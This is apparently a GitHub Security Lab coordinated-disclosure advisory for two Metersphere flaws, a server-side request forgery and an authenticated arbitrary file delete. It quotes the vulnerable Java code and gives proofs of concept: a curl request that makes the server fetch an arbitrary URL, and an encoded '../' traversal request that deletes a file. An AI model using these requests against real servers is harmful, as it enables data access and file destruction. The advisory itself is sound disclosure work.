Coordinated Disclosure Timeline
- 2022-12-07: Report sent to support@fit2cloud.com
- 2022-12-07: Commit fixes Arbitrary File Delete (#2)
- 2022-12-08: Commit fixes Server-Side Request Forgery (#1)
- 2022-12-11: Maintainer acknowledges the report
- 2022-12-09: GHSA-5mwp-xw7p-5j27 published
- 2022-12-26: GHSA-vrv6-cg45-rmjj published
Summary
Metersphere is vulnerable to Server-Side Request Forgery and Path Injection.
Product
Metersphere
Tested Version
Details
Issue 1: Server-Side Request Forgery in IssueProxyResourceService::getMdImageByUrl
(GHSL-2022-132
)
Metersphere’s IssueProxyResourceController
loads a /md/get/url
endpoint passing a user-controlled url
GET parameter (1
) to getMdImageByUrl
(2
).
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/controller/IssueProxyResourceController.java
@RestController
@RequestMapping(value = "/resource")
public class IssueProxyResourceController {
@Resource
IssueProxyResourceService issueProxyResourceService;
@GetMapping(value = "/md/get/url")
public ResponseEntity<byte[]> getFileByUrl(@RequestParam ("url") String url, @RequestParam (value = "platform", required = false) String platform, // 1
@RequestParam ("project_id") String projectId, @RequestParam ("workspace_id") String workspaceId) {
return issueProxyResourceService.getMdImageByUrl(url, platform, projectId, workspaceId); // 2
}
}
getMdImageByUrl
then passes url
to RestTemplate
’s exchange
method in 3
, which will make a request and return the contents of url
.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/service/wapper/IssueProxyResourceService.java#L32
public ResponseEntity<byte[]> getMdImageByUrl(String url, String platform, String projectId, String workspaceId) {
if (url.contains("md/get/url")) {
MSException.throwException(Translator.get("invalid_parameter"));
}
...
return restTemplate.exchange(url, HttpMethod.GET, null, byte[].class); // 3
}
Proof of Concept
curl -X GET 'http://127.0.0.1:8081/resource/md/get/url?url=https://securitylab.github.com'
An attacker can serve malicious JavaScript and point url
to it, thus making the victim’s browser to execute it in the context of Metersphere’s origin.
Impact
This issue may lead to Server-Side Request Forgery
and Cross-Site Scripting
.
Resources
Issue 2: Path Injection in ApiTestCaseService::deleteBodyFiles
(GHSL-2022-133
)
Metersphere’s ApiTestCaseController
loads a /delete/{id}
endpoint which takes a user-controlled string id
and passes it to ApiTestCaseService
’s delete
method.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/controller/definition/ApiTestCaseController.java#L127
@GetMapping("/delete/{id}")
...
public void delete(@PathVariable String id) {
apiTestCaseService.delete(id);
}
ApiTestCaseService
’s delete
method passes the former id
(now testId
) to ApiTestCaseService
’s deleteBodyFiles
.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L331
public void delete(String testId) {
...
deleteBodyFiles(testId);
...
}
Which uses the user-provided value (testId
) in new File(BODY_FILE_DIR + "/" + testId)
, being deleted later by file.delete()
.
// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L365
public void deleteBodyFiles(String testId) {
File file = new File(BODY_FILE_DIR + "/" + testId);
FileUtil.deleteContents(file);
if (file.exists()) {
file.delete();
}
}
Proof of Concept
- Log in with an account (can be non-administrator)
- Create a file that the PoC will delete:
docker exec -it $(docker ps -q --filter "name=ms-server") touch /tmp/DELETE_ME
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME
- Send the following request replacing the
SESSION
cookie andCSRF-TOKEN
header:
GET /api/testcase/delete/..%2F..%2F..%2F..%2Ftmp%2FDELETE_ME HTTP/1.1
Host: 127.0.0.1:8081
CSRF-TOKEN: <CSRF-TOKEN>
Cookie: SESSION=<SESSION-COOKIE>
- Verify that the file was deleted:
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME
Impact
This issue may lead to authenticated Arbitrary File Delete
.
Resources
CVE
- CVE-2022-23544
- CVE-2022-23512
Credit
These issues were discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-132
or GHSL-2022-133
in any communication regarding these issues.